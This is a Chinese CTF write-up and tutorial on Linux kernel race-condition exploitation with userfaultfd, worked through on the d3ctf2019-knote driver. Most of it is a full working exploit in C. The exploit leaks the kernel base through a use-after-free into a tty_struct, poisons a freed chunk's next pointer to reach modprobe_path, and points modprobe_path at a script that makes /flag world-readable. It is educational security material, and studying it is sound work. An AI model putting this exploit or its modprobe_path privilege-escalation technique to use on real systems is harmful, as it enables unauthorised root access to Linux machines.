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linux kernel pwn学习之条件竞争(二)userfaultfd

程序员文章站 2022-05-15 21:47:26
...

userfaultfd、mobprobe_path、mod_tree的利用

userfaultfd是linux下的一直缺页处理机制,用户可以自定义函数来处理这种事件。所谓的缺页,就是所访问的页面还没有装入RAM中。比如mmap创建的堆,它实际上还没有装载到内存中,系统有自己默认的机制来处理,用户也可以自定义处理函数,在处理函数没有结束之前,缺页发生的位置将处于暂停状态。这将非常有助于条件竞争的利用。

举个栗子

假如在内核里有这样一段代码

  1. if (ptr) {  
  2.    ...  
  3.    copy_from_user(ptr,user_buf,len);  
  4.    ...  
  5. }  

如果,我们的user_buf是一块mmap映射的,并且未初始化的区域,此时就会触发缺页错误,copy_from_user将暂停执行,在暂停的这段时间内,我们开另一个线程,将ptr释放掉,再把其他结构申请到这里(比如tty_struct),然后当缺页处理结束后,copy_from_user恢复执行,然而ptr此时指向的是tty_struct结构,那么就能对tty_struct结构进行修改了。虽然说,不用缺页处理,也能造成条件竞争,但是几率比较小。而利用了缺页处理,几率将增加很大很大。

大概就是这个道理,我们来看看,如何注册userfaultfd吧,话不多说,这是模板,更详细的可以自行去看看文档。

  1. //注册一个userfaultfd来处理缺页错误  
  2. void registerUserfault(void *fault_page,void *handler)  
  3. {  
  4.    pthread_t thr;  
  5.    struct uffdio_api ua;  
  6.    struct uffdio_register ur;  
  7.    uint64_t uffd  = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);  
  8.    ua.api = UFFD_API;  
  9.    ua.features    = 0;  
  10.    if (ioctl(uffd, UFFDIO_API, &ua) == -1)  
  11.       errExit("[-] ioctl-UFFDIO_API");  
  12.   
  13.    ur.range.start = (unsigned long)fault_page; //我们要监视的区域  
  14.    ur.range.len   = PAGE_SIZE;  
  15.    ur.mode        = UFFDIO_REGISTER_MODE_MISSING;  
  16.    if (ioctl(uffd, UFFDIO_REGISTER, &ur) == -1) //注册缺页错误处理,当发生缺页时,程序会阻塞,此时,我们在另一个线程里操作  
  17.       errExit("[-] ioctl-UFFDIO_REGISTER");  
  18.    //开一个线程,接收错误的信号,然后处理  
  19.    int s = pthread_create(&thr, NULL,handler, (void*)uffd);  
  20.    if (s!=0)  
  21.       errExit("[-] pthread_create");  
  22. }  

为了更好的理解,我们以d3ctf2019-knote为例

d3ctf2019-knote

首先,查看一下启动脚本

  1. #!/bin/sh  
  2. qemu-system-x86_64 \  
  3. -m 128M \  
  4. -kernel ./bzImage \  
  5. -initrd  ./rootfs.img \  
  6. -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 kaslr" \  
  7. -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \  
  8. -nographic \  
  9. -monitor /dev/null \  
  10. -smp cores=2,threads=1 \  
  11. -cpu qemu64,+smep,+smap \  

发现开启了smep、smap机制,接下来,我们启动系统,查看一下内核版本

linux kernel pwn学习之条件竞争(二)userfaultfd

在linux 5以上,似乎很难ret2usr,貌似多了其他的机制,使得单纯修改cr4不起作用,以后慢慢研究。

然后,我们用IDA分析一下note.ko驱动文件

Ioctl定义了经典的增删改查操作

linux kernel pwn学习之条件竞争(二)userfaultfd

Add操作,有锁保护着,不担心多线程,size不能超过0xFFF

linux kernel pwn学习之条件竞争(二)userfaultfd

Delete操作,也没啥好说的

linux kernel pwn学习之条件竞争(二)userfaultfd

Edit操作全程没有加锁

linux kernel pwn学习之条件竞争(二)userfaultfd

Get操作也是全程没有加锁

linux kernel pwn学习之条件竞争(二)userfaultfd

那么思路很明显了,使用userfaultfd暂停copy_user_generic_unrolled函数,然后在另一个线程里趁机释放ptr,并把其他结构,比如tty_struct申请到这里,然后恢复copy_user_generic_unrolled的执行,从而达到对指定数据结构的读/写,之前,我在https://blog.csdn.net/seaaseesa/article/details/104591448这篇博客了讲到了可以伪造空闲堆的next指针,实现任意地址处分配,我们就可以利用这个。在linux kernel 5以上,似乎ROP到用户的区域变得困难,那么,我们有了另一个好方法,那就是劫持modprobe_pathmodprobe_path执行了一个二进制文件,默认为/bin/ modprobe,当系统执行一个非法二进制文件(不是elf格式,也不是文本)的时候,就会去调用modprobe_path指向的程序。

  1. int __request_module(bool wait, const char *fmt, ...)  
  2. {  
  3.     va_list args;  
  4.     char module_name[MODULE_NAME_LEN];  
  5.     int ret;  
  6.   
  7.     /* 
  8.      * We don't allow synchronous module loading from async.  Module 
  9.      * init may invoke async_synchronize_full() which will end up 
  10.      * waiting for this task which already is waiting for the module 
  11.      * loading to complete, leading to a deadlock. 
  12.      */  
  13.     WARN_ON_ONCE(wait && current_is_async());  
  14.   
  15.     if (!modprobe_path[0])  
  16.         return 0;  
  17.   
  18.     va_start(args, fmt);  
  19.     ret = vsnprintf(module_name, MODULE_NAME_LEN, fmt, args);  
  20.     va_end(args);  
  21.     if (ret >= MODULE_NAME_LEN)  
  22.         return -ENAMETOOLONG;  
  23.   
  24.     ret = security_kernel_module_request(module_name);  
  25.     if (ret)  
  26.         return ret;  
  27.   
  28.     if (atomic_dec_if_positive(&kmod_concurrent_max) < 0) {  
  29.         pr_warn_ratelimited("request_module: kmod_concurrent_max (%u) close to 0 (max_modprobes: %u), for module %s, throttling...",  
  30.                     atomic_read(&kmod_concurrent_max),  
  31.                     MAX_KMOD_CONCURRENT, module_name);  
  32.         ret = wait_event_killable_timeout(kmod_wq,  
  33.                           atomic_dec_if_positive(&kmod_concurrent_max) >= 0,  
  34.                           MAX_KMOD_ALL_BUSY_TIMEOUT * HZ);  
  35.         if (!ret) {  
  36.             pr_warn_ratelimited("request_module: modprobe %s cannot be processed, kmod busy with %d threads for more than %d seconds now",  
  37.                         module_name, MAX_KMOD_CONCURRENT, MAX_KMOD_ALL_BUSY_TIMEOUT);  
  38.             return -ETIME;  
  39.         } else if (ret == -ERESTARTSYS) {  
  40.             pr_warn_ratelimited("request_module: sigkill sent for modprobe %s, giving up", module_name);  
  41.             return ret;  
  42.         }  
  43.     }  
  44.   
  45.     trace_module_request(module_name, wait, _RET_IP_);  
  46.   
  47.     ret = call_modprobe(module_name, wait ? UMH_WAIT_PROC : UMH_WAIT_EXEC);  
  48.   
  49.     atomic_inc(&kmod_concurrent_max);  
  50.     wake_up(&kmod_wq);  
  51.   
  52.     return ret;  
  53. }  

内核调用call_modprobe函数执行mobprobe_path指向的文件,并且call_modprobe函数拥有root权限,我们只需要劫持mobprobe_path,指向我们提权的脚本,然后指向一个非法二进制,就能触发提权脚本的执行。

与mobprobe_path配套的还有mod_tree,这里记录着ko模块的加载地址,因此可以用来泄露模块地址。这两个变量的地址都能在/proc/kallsyms里找到,因此,我们可以得到它们的静态地址。

大概就是这样,直接上exploit.c

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <poll.h>
#include <sys/syscall.h>
#include <sys/mman.h>
//页大小
#define PAGE_SIZE 0x1000
//tty_struct的大小
#define TTY_STRUCT_SIZE 0X2E0
//cat /proc/kallsyms | grep modprobe_path
#define MOD_PROBE 0x145c5c0
//第二次利用时,堆统一的大小
//随便设置,过大过小都不好
#define CHUNK_SIZE 0x100
//modprobe_path的地址
size_t modprobe_path;

//驱动的文件描述符
int fd;
//ptmx的文件描述符
int tty_fd;

//传给驱动的数据结构
struct Data {
   union {
      size_t size; //大小
      size_t index; //下标
   };
   void *buf; //数据
};
void errExit(char *msg) {
   puts(msg);
   exit(-1);
}

void initFD() {
   fd = open("/dev/knote",O_RDWR);
   if (fd < 0) {
      errExit("device open error!!");
   }
}
//创建一个节点
void kcreate(size_t size) {
   struct Data data;
   data.size = size;
   data.buf = NULL;
   ioctl(fd,0x1337,&data);
}
//删除一个节点
void kdelete(size_t index) {
   struct Data data;
   data.index = index;
   ioctl(fd,0x6666,&data);
}
//编辑一个节点
void kedit(size_t index,void *buf) {
   struct Data data;
   data.index = index;
   data.buf = buf;
   ioctl(fd,0x8888,&data);
}
//显示节点的内容
void kshow(size_t index,void *buf) {
   struct Data data;
   data.index = index;
   data.buf = buf;
   ioctl(fd,0x2333,&data);
}


//注册一个userfaultfd来处理缺页错误
void registerUserfault(void *fault_page,void *handler)
{
   pthread_t thr;
   struct uffdio_api ua;
   struct uffdio_register ur;
   uint64_t uffd  = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
   ua.api = UFFD_API;
   ua.features    = 0;
   if (ioctl(uffd, UFFDIO_API, &ua) == -1)
      errExit("[-] ioctl-UFFDIO_API");

   ur.range.start = (unsigned long)fault_page; //我们要监视的区域
   ur.range.len   = PAGE_SIZE;
   ur.mode        = UFFDIO_REGISTER_MODE_MISSING;
   if (ioctl(uffd, UFFDIO_REGISTER, &ur) == -1) //注册缺页错误处理,当发生缺页时,程序会阻塞,此时,我们在另一个线程里操作
      errExit("[-] ioctl-UFFDIO_REGISTER");
   //开一个线程,接收错误的信号,然后处理
   int s = pthread_create(&thr, NULL,handler, (void*)uffd);
   if (s!=0)
      errExit("[-] pthread_create");
}

//针对laekKernelBase时的缺页处理线程
//这个线程里,我们不需要做什么,仅仅是
//为了拖延阻塞时间,给子进程足够的时间
//来形成一个UAF
void* leak_handler(void *arg)
{
   struct uffd_msg msg;
   unsigned long uffd = (unsigned long)arg;
   puts("[+] leak_handler created");
   sleep(3); //休眠一下,留给子进程足够时间操作
   struct pollfd pollfd;
   int nready;
   pollfd.fd     = uffd;
   pollfd.events = POLLIN;
   //poll会阻塞,直到收到缺页错误的消息
   nready = poll(&pollfd, 1, -1);
   if (nready != 1)
      errExit("[-] Wrong pool return value");
   nready = read(uffd, &msg, sizeof(msg));
   if (nready <= 0) {
      errExit("[-]msg error!!");
   }

   char *page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
   if (page == MAP_FAILED)
      errExit("[-]mmap page error!!");
   struct uffdio_copy uc;
   //初始化page页
   memset(page, 0, sizeof(page));
   uc.src = (unsigned long)page;
   //出现缺页的位置
   uc.dst = (unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1);;
   uc.len = PAGE_SIZE;
   uc.mode = 0;
   uc.copy = 0;
   //复制数据到缺页处,并恢复copy_user_generic_unrolled的执行
   //然而,我们在阻塞的这段时间,堆0的内容已经是tty_struct结构
   //因此,copy_user_generic_unrolled将会把tty_struct的结构复制给我们用户态
   ioctl(uffd, UFFDIO_COPY, &uc);

   puts("[+] leak_handler done!!");
   return NULL;
}

//泄露内核地址
void leakKernelBase() {
   //创建一个与tty_struct结构大小相同的堆
   kcreate(TTY_STRUCT_SIZE);
   //用于接收kshow的内容,由于我们是用mmap映射的一块区域,传入kshow时,导致缺页错误,从而可以进入我们自定义的
   //处理函数里阻塞
   char *user_buf = (char*)mmap(NULL,PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
   if (user_buf == MAP_FAILED)
      errExit("[-] mmap user_buf error!!");
   //注册一个userfaultfd,监视user_buf处的缺页
   registerUserfault(user_buf,leak_handler);

   int pid = fork();
   if (pid < 0) {
      errExit("[-]fork error!!");
   } else if (pid == 0) { //子进程
      sleep(1); //让父进程先执行,进入userfaultfd阻塞,这样子线程可以为所欲为的操作
      kdelete(0); //删除我们创建的那个堆
      tty_fd = open("/dev/ptmx",O_RDWR); //这一步的作用是让tty_struct的结构申请到我们释放后的堆里,再用UAF就能泄露信息
      exit(0); //退出子进程
   } else {
      //父进程触发缺页错误,从而进入handle函数,阻塞,给子进程足够的操作时间
      kshow(0,user_buf);
      //现在,user_buf里存储着tty_struct结构,我们读出来,可以得到很多数据
      size_t *data = (size_t *)user_buf;
      if (data[7] == 0) { //没有数据,说明失败了
         munmap(user_buf, PAGE_SIZE);
         close(tty_fd);
         errExit("[-]leak data error!!");
      }
      close(tty_fd); //关闭ptmx设备,释放占用的空间
      //得到某函数的地址
      size_t x_fun_addr = data[0x56];
      //计算出内核基址
      size_t kernel_base = x_fun_addr - 0x5d4ef0;
      //当内核运行未知的二进制文件时,会调用modprobe_path指向的可执行文件
      //因此,我们的目的是劫持modprobe_path,指向一个shell文件即可
      modprobe_path = kernel_base + MOD_PROBE;
      printf("kernel_base=0x%lx\n",kernel_base);
      printf("modprobe_path=0x%lx\n",modprobe_path);
   }
}

//针对writeHeapFD时的缺页处理线程
//这个线程里,我们要把modprobe_path的地址
//写进去
void* write_handler(void *arg)
{
   struct uffd_msg msg;
   unsigned long uffd = (unsigned long)arg;
   puts("[+] write_handler created");
   sleep(3); //休眠一下,留给子进程足够时间操作,形成UAF
   struct pollfd pollfd;
   int nready;
   pollfd.fd     = uffd;
   pollfd.events = POLLIN;
   //poll会阻塞,直到收到缺页错误的消息
   nready = poll(&pollfd, 1, -1);
   if (nready != 1)
      errExit("[-] Wrong pool return value");
   nready = read(uffd, &msg, sizeof(msg));
   if (nready <= 0) {
      errExit("[-]msg error!!");
   }
   //断言是否是缺页的错误
   //assert(msg.event == UFFD_EVENT_PAGEFAULT);
   char *page = (char*)mmap(NULL, PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
   if (page == MAP_FAILED)
      errExit("[-]mmap page error!!");
   struct uffdio_copy uc;
   //初始化page页
   memset(page, 0, sizeof(page));
   //写入modprobe_path
   memcpy(page,&modprobe_path,8);
   uc.src = (unsigned long)page;
   //出现缺页的位置
   uc.dst = (unsigned long)msg.arg.pagefault.address & ~(PAGE_SIZE - 1);;
   uc.len = PAGE_SIZE;
   uc.mode = 0;
   uc.copy = 0;
   //复制数据到缺页处,并恢复copy_user_generic_unrolled的执行
   //然而,我们在阻塞的这段时间,堆0被释放掉了,当恢复的时候
   //是向一个已经释放的堆写数据
   ioctl(uffd, UFFDIO_COPY, &uc);
   puts("[+] writek_handler done!!");
   return NULL;
}


//条件竞争改写空闲堆块的next指针,使用与leakKernelBase同样的方法
void writeHeapFD() {
   kcreate(CHUNK_SIZE); //0
   //用于接收kedit的内容,由于我们是用mmap映射的一块区域,传入kedit时,导致缺页错误,从而可以进入我们自定义的
   //处理函数里阻塞
   char *user_buf = (char*)mmap(NULL,PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
   if (user_buf == MAP_FAILED)
      errExit("[-] mmap user_buf error!!");
   //注册一个userfaultfd,监视user_buf处的缺页
   registerUserfault(user_buf,write_handler);
   int pid = fork();
   if (pid < 0) {
      errExit("[-]fork error!!");
   } else if (pid == 0) { //子进程
      sleep(1); //让父进程先执行,进入userfaultfd阻塞
      kdelete(0); //删除堆,形成UAF
      exit(0);
   } else {
      kedit(0,user_buf); //触发缺页错误阻塞
      //kedit结束后,空闲块的next域已经写上了攻击目标的地址
   }

}

char tmp[0x100] = {0};
int main() {
   //初始化驱动
   initFD();
   //条件竞争泄露内核基址
   leakKernelBase();
   sleep(2);
   //将modprobe_path地址写到空闲堆的next指针处
   writeHeapFD();
   sleep(2);
   kcreate(CHUNK_SIZE); //0
   kcreate(CHUNK_SIZE); //1,分配到目标处
   strcpy(tmp,"/tmp/shell.sh");
   kedit(1,tmp); //将modprobe_path指向我们的shell文件
   //创建一个用于getshelll的脚本
   system("echo '#!/bin/sh' >> /tmp/shell.sh");
   system("echo 'chmod 777 /flag' >> /tmp/shell.sh");
   system("chmod +x /tmp/shell.sh");
   //创建一个非法的二进制文件,执行,触发shell
   system("echo -e '\\xff\\xff\\xff\\xff' > /tmp/fake");
   system("chmod +x /tmp/fake");
   //触发shell执行,修改flag文件普通用户可以读写
   system("/tmp/fake");
   system("cat /flag");
   //结束程序时,会释放堆,但是我们的modprobe_path处不是合法的堆,会释放出错,导致内核崩溃重启
   sleep(3);
   return 0;
}

失败了可以多次尝试,最后成功得到flag

linux kernel pwn学习之条件竞争(二)userfaultfd